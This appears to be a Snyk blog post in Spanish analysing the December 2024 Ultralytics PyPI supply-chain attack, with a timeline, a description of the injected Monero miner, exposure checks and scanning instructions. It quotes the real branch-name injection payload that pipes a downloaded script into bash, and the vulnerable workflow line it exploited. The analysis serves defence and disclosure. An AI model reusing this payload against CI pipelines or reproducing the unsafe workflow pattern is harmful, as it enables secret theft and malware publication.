Skip to main content

Ataque a la cadena de suministro de Ultralytics AI Pwn Request

Escrito por
feature insights context

11 de diciembre de 2024

0 minutos de lectura

El ataque a la cadena de suministro de ultralytics ocurrió en dos fases distintas entre el 4 y el 7 de diciembre de 2024. En la primera fase, se publicaron dos versiones maliciosas en PyPI: la versión 8.3.41 se lanzó el 4 de diciembre a las 20:51 UTC y estuvo disponible durante aproximadamente 12 horas, hasta que se retiró el 5 de diciembre a las 09:15 UTC. La versión 8.3.42 se publicó poco después, el 5 de diciembre a las 12:47 UTC, y estuvo disponible durante aproximadamente una hora, hasta que se retiró a las 13:47 UTC.

La segunda fase ocurrió el 7 de diciembre, cuando el atacante publicó directamente otras dos versiones maliciosas en PyPI, sin pasar por GitHub Actions. La versión 8.3.45 se publicó a la 01:41 UTC y estuvo disponible durante aproximadamente 8 horas, hasta las 10:08 UTC. La versión 8.3.46 se lanzó a las 02:27 UTC y estuvo disponible durante aproximadamente 7.5 horas, hasta que se retiró a las 10:09 UTC.

El ataque se detectó inicialmente por varios medios, entre ellos el sistema automatizado de detección de abuso de Google Colab, que comenzó a señalar actividad sospechosa pocas horas después de la primera publicación maliciosa. Usuarios de distintos proyectos reportaron patrones inusuales de uso de CPU y los responsables de mantenimiento de paquetes detectaron discrepancias entre el repositorio de GitHub y las publicaciones en PyPI.

Cronología del exploit

2024-06-04       Commit inicial del escáner de GitHub Actions de Snyk

Enlace: https://github.com/snyk-labs/github-actions-scanner

2024-08-14       Adnan Khan reporta GHSA-7x29-qqmq-v6qc a los responsables de mantenimiento de Ultralytics: vulnerabilidad de inyección de plantillas

                  Enlace: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14       Se publica la v0.0.3 de ultralytics/actions con una corrección para GHSA-7x29-qqmq-v6qc

                  Enlace: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24       La v0.0.24 de ultralytics/actions vuelve a introducir la vulnerabilidad en el commit c1365ce

2024-12-03 22:28:49  @jiwuwgknvm comienza a experimentar con un ataque armado

2024-12-03 22:33:47  @jiwuwgknvm envía el pull request #17984 (ahora eliminado), que contiene un script run.sh para robar tokens

2024-12-04 19:33:00  @openimbot envía el pull request #18018 con una inyección de plantillas

                  Enlace: https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00  @openimbot envía el pull request #18020 con otra inyección de plantillas

                  Enlace: https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00  @UltralyticsAssistant inicia el lanzamiento de la v8.3.41

2024-12-04 20:51:12  Se crea la versión v8.3.41 en PyPI

                  Enlace: https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00  Se reporta el problema #4979 de Google Colab: cuenta bloqueada por minería de criptomonedas

                  Enlace: https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00  Se abre el problema #18027: se reporta una discrepancia en PyPI

                  Enlace: https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00  Se abre el problema #843 de ComfyUI: reporte de minería de criptomonedas

                  Enlace: https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00  Se abre el problema #18030: uso de CPU al 100 %

                  Enlace: https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06  Se retira la v8.3.41 de PyPI (tras ~12 horas)

2024-12-05 09:39:00  Se abre el problema #184 de Comic-translate: reporte de minería

                  Enlace: https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00  @glenn-jocher inicia el lanzamiento de la v8.3.42

2024-12-05 12:47:29  Se crea la versión v8.3.42 en PyPI

2024-12-05 13:47:30  Se retira la v8.3.42 de PyPI (tras ~1 hora)

2024-12-05 15:17:00  @glenn-jocher anuncia que @openimbot fue expulsado de Ultralytics

2024-12-06 19:51:00  Se abre el problema #19 de AdvancedLivePortrait-WebUI: alerta de seguridad

                  Enlace: https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45  Se publica directamente la v8.3.45 en PyPI (sin CI/CD)

2024-12-07 02:27:14  Se publica directamente la v8.3.46 en PyPI (sin CI/CD)

2024-12-07 04:00:00  Adnan Khan anuncia que la v8.3.45 y la v8.3.46 son maliciosas

2024-12-07 10:08:32  Se retira la v8.3.45 de PyPI (tras ~8 horas)

2024-12-07 10:09:08  Se retira la v8.3.46 de PyPI (tras ~7.5 horas)

Un ataque de minería de Monero

Las versiones maliciosas de ultralytics incluían una carga útil de minería de criptomonedas diseñada para ejecutarse silenciosamente en segundo plano mientras consumía muchos recursos del sistema. El minero era una implementación de XMRig, configurada específicamente para minar la criptomoneda Monero. El malware era lo bastante sofisticado como para activar los sistemas automatizados de detección de abuso de Google Colab, lo que llevó a que se suspendieran temporalmente las cuentas de algunos usuarios debido al elevado uso de CPU característico de la minería.

El minero se inyectó en el paquete mediante modificaciones en dos funciones clave: safe_download y safe_run. La primera etapa consistió en incorporar un descargador del lado del cliente a la función safe_download, que recuperaba la carga útil de minería. Se modificó la función safe_run para ejecutar el minero en segundo plano e intentar ocultar el uso de recursos a simple vista. Sin embargo, el alto consumo de CPU que requiere la minería de criptomonedas hizo que muchos usuarios notaran la presencia del malware.

Cómo prepararte para remediar el incidente de Ultralytics

Evalúa tu exposición a la dependencia de Python

Períodos en que las versiones estuvieron afectadas:

v8.3.41: del 2024-12-04 20:51 UTC al 2024-12-05 09:15 UTC (~12 horas)

v8.3.42: del 2024-12-05 12:47 UTC al 2024-12-05 13:47 UTC (~1 hora)

v8.3.45: del 2024-12-07 01:41 UTC al 2024-12-07 10:08 UTC (~8 horas)

v8.3.46: del 2024-12-07 02:27 UTC al 2024-12-07 10:09 UTC (~7.5 horas)

Para comprobar si te afectó:

  1. Revisa los registros de pip install correspondientes a estos períodos

  2. Comprueba qué versión tienes: pip show ultralytics

  3. Revisa los registros del sistema para detectar actividad inusual de la CPU durante estos períodos

  4. Comprueba si hubo compilaciones automatizadas o ejecuciones de CI/CD durante estos períodos

Proyectos que se sabe que dependen de Ultralytics

Ultralytics es una biblioteca de IA muy utilizada en el ecosistema de Python para IA y aprendizaje automático, especialmente en tareas de visión computacional. Algunos proyectos destacados son:

  • ComfyUI: usa YOLOv8 para detectar objetos en muchos nodos personalizados populares. Publicaron una declaración sobre la situación aquí. 

  • Comic-Translate: usa modelos YOLO para detectar texto

  • Roboflow: integración con YOLOv8 para detectar objetos

  • Muchas otras herramientas de Stable Diffusion e interfaces web

Explicación del ataque a la cadena de suministro de ultralytics/actions

El ataque aprovechó una sofisticada cadena de vulnerabilidades en GitHub Actions y apuntó directamente al sistema de automatización de flujos de trabajo mediante una técnica conocida como inyección de plantillas a través del nombre de una rama. Así se desarrolló el ataque:

El compromiso inicial se produjo mediante dos pull requests maliciosos (PR #18018 y PR #18020) enviados desde la cuenta @openimbot. Estos PR aprovecharon una vulnerabilidad en el flujo de trabajo format.yml, que usaba un activador pull_request_target inseguro junto con expresiones de plantilla sin escapar.

El ataque se desarrolló en varias etapas:

El atacante creó una rama con un nombre cuidadosamente diseñado que contenía comandos de shell:

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

Cuando el flujo de trabajo procesó el nombre de esta rama, la expresión de plantilla se expandió directamente en el contexto del shell debido a esta línea vulnerable:

git pull origin ${{ github.head_ref || github.ref }}

El comando expandido descargó y ejecutó un script de shell malicioso que:

  • Tokens y secretos de GitHub exfiltrados

  • Envenenó la caché de pip que usa setup-python

  • Modificó las distribuciones publicadas para incluir el minero de criptomonedas

  • Posiblemente robó credenciales de la API de PyPI

La vulnerabilidad fue particularmente eficaz porque aprovechó una acción personalizada en ultralytics/actions que había reintroducido un problema de seguridad corregido anteriormente.

Análisis con Snyk Open Source

La base de datos de vulnerabilidades y las herramientas de CLI de Snyk pueden ayudarte a identificar si estás usando una versión comprometida del paquete Ultralytics. También puedes usarlas para analizar proyectos de código abierto de forma más general. Para analizar tu proyecto:

1. Instala la CLI de Snyk:

npm install -g snyk

2. Autentícate en Snyk:

snyk auth

3. Analiza tu proyecto de Python:

snyk test

Esto te permitirá identificar si usas alguna de las versiones maliciosas conocidas (8.3.41, 8.3.42, 8.3.45 o 8.3.46) del paquete Ultralytics y comprobar si hay otras vulnerabilidades potenciales en tus dependencias.

Usa Snyk GitHub Actions Scanner en tu conjunto de herramientas DevSecOps

Snyk GitHub Actions Scanner es una herramienta de código abierto que puede ayudar a identificar configuraciones vulnerables de GitHub Actions como las explotadas en este incidente. Aunque no es un producto oficial de Snyk, es una herramienta valiosa para tu conjunto de herramientas DevSecOps.

Para usar el escáner:

1. Clona el repositorio e instala las dependencias:

git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install

2. Configura tu token de GitHub:

echo "GITHUB_TOKEN=your-token-here" > .env

3. Analiza un repositorio:

npm start scan-repo -- -u https://github.com/your/repo

El escáner busca varios problemas críticos, entre ellos:

  • PWN_REQUEST: identifica flujos de trabajo que usan pull_request_target y también descargan las ramas de los pull requests; exactamente la vulnerabilidad explotada en este incidente. Esto es peligroso porque pull_request_target se ejecuta con los secretos del repositorio, pero puede activarse por colaboradores externos que no son de confianza.

  • CMD_EXEC: detecta expresiones de plantilla sin escapar, como ${{ }}, en las directivas run que podrían provocar la inyección de comandos.

Para realizar un análisis más exhaustivo que también compruebe las acciones a las que se hace referencia:

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

Esto comprueba las acciones referenciadas hasta 5 niveles de profundidad, lo que ayuda a identificar vulnerabilidades en toda la cadena de acciones.

Riesgos de seguridad de la IA y seguridad de la cadena de suministro

El incidente de ultralytics es otro caso más en la larga lista de brechas de seguridad en cadenas de suministro de código abierto. Los registros de npm y PyPI han sufrido ataques de malware enfocados en las criptomonedas y, muchas veces, estos incidentes vuelven a señalar las prácticas de seguridad de quienes mantienen los proyectos y la configuración segura de estos. Este ataque a GitHub Actions demuestra lo crucial que es aplicar rigurosamente las buenas prácticas de seguridad.

Los riesgos de seguridad de la IA no se limitan a incidentes en cadenas de suministro de código abierto, sino que también abarcan el aprendizaje automático y los registros de intercambio de modelos. Los ataques que se avecinan, como la ejecución remota de código, pueden afectar a los desarrolladores a través de vulnerabilidades en formatos de archivos de aprendizaje profundo y código inseguro generado por IA que los desarrolladores suelen aprovechar mediante LLM.

Aprende a usar Snyk para proteger el código generado por IA.

Explora el futuro de los asistentes de programación con Snyk

Conoce los asistentes de programación y descubre cómo integrar estas herramientas en los flujos de trabajo de desarrollo.